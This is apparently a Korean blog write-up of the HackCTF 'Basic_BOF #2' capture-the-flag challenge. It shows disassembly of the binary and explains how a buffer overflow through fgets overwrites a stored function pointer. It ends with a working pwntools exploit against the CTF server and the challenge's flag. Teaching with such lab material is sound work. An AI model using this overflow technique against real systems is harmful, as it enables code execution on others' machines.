WriteUp/HackCTF

[HackCTF] Basic_BOF #2

d2n0s4ur 2021. 8. 8. 13:53

 

마찬가지로 NX 가 Enabled, Canary는 Disabled된 상태.

쉘코드 삽입은 불가능해보인다.

 

 

shell이라는 함수가 의심스럽다.

Dump of assembler code for function shell:
   0x0804849b <+0>:     push   ebp
   0x0804849c <+1>:     mov    ebp,esp
   0x0804849e <+3>:     sub    esp,0x8
   0x080484a1 <+6>:     sub    esp,0xc
   0x080484a4 <+9>:     push   0x80485a0
   0x080484a9 <+14>:    call   0x8048370 <system@plt>
   0x080484ae <+19>:    add    esp,0x10
   0x080484b1 <+22>:    nop
   0x080484b2 <+23>:    leave
   0x080484b3 <+24>:    ret
End of assembler dump.

 

 

system 함수를 통해 shell을 얻는 함수이다.

Dump of assembler code for function main:
   0x080484cd <+0>:     lea    ecx,[esp+0x4]
   0x080484d1 <+4>:     and    esp,0xfffffff0
   0x080484d4 <+7>:     push   DWORD PTR [ecx-0x4]
   0x080484d7 <+10>:    push   ebp
   0x080484d8 <+11>:    mov    ebp,esp
   0x080484da <+13>:    push   ecx
   0x080484db <+14>:    sub    esp,0x94
   0x080484e1 <+20>:    mov    DWORD PTR [ebp-0xc],0x80484b4
   0x080484e8 <+27>:    mov    eax,ds:0x804a040
   0x080484ed <+32>:    sub    esp,0x4
   0x080484f0 <+35>:    push   eax
   0x080484f1 <+36>:    push   0x85
   0x080484f6 <+41>:    lea    eax,[ebp-0x8c]
   0x080484fc <+47>:    push   eax
   0x080484fd <+48>:    call   0x8048350 <fgets@plt>
   0x08048502 <+53>:    add    esp,0x10
   0x08048505 <+56>:    mov    eax,DWORD PTR [ebp-0xc]
   0x08048508 <+59>:    call   eax
   0x0804850a <+61>:    mov    eax,0x0
   0x0804850f <+66>:    mov    ecx,DWORD PTR [ebp-0x4]
   0x08048512 <+69>:    leave
   0x08048513 <+70>:    lea    esp,[ecx-0x4]
   0x08048516 <+73>:    ret
End of assembler dump.

main함수의 어셈블리이다. fgets 함수를 통해 buf에 값을 저장하고, 이를 이용해서 BOF를 시도하면 될 것 같다.

   0x080484e1 <+20>:    mov    DWORD PTR [ebp-0xc],0x80484b4

buf의 마지막 0xc 메모리에 0x80484b4(sup 함수의 주소)를 저장한다.

sup함수를 보면

Dump of assembler code for function sup:
   0x080484b4 <+0>:     push   ebp
   0x080484b5 <+1>:     mov    ebp,esp
   0x080484b7 <+3>:     sub    esp,0x8
   0x080484ba <+6>:     sub    esp,0xc
   0x080484bd <+9>:     push   0x80485ac
   0x080484c2 <+14>:    call   0x8048360 <puts@plt>
   0x080484c7 <+19>:    add    esp,0x10
   0x080484ca <+22>:    nop
   0x080484cb <+23>:    leave
   0x080484cc <+24>:    ret
End of assembler dump.

 

 

 

특정 문자열을 출력하는 함수이다.

 

즉 원하는 shell을 얻을 수 없는 함수이며, 이를 우회할 필요가 있다.

 

   0x080484f6 <+41>:    lea    eax,[ebp-0x8c]
   0x080484fc <+47>:    push   eax
   0x080484fd <+48>:    call   0x8048350 <fgets@plt>

buf의 끝에서 -0x8c의 주소에 fgets함수를 통해 받은 입력값을 저장한다.

 

   0x08048505 <+56>:    mov    eax,DWORD PTR [ebp-0xc]
   0x08048508 <+59>:    call   eax

buf의 끝에서 -0xc주소의 값을 주소로 가지는 함수를 호출한다.

즉, 이 값이 shell 함수의 주소값이 되게 하면 된다.

 

from pwn import *

#p = process("./bof_basic2")
p = remote("ctf.j0n9hyun.xyz",3001)

addr = 0x804849b
s = "A"*0x80 + p32(addr)

p.sendline(s)
p.interactive()

마찬가지로 python을 이용해 exploit 코드를 짜고 실행시켜준다.

 

p32()함수는 32bit Little endian에 맞게 바이트 값을 바꿔주는 함수이다.

 

 

 

FLAG : HackCTF{h3y_dud3_600d_f0r_y0u}

반응형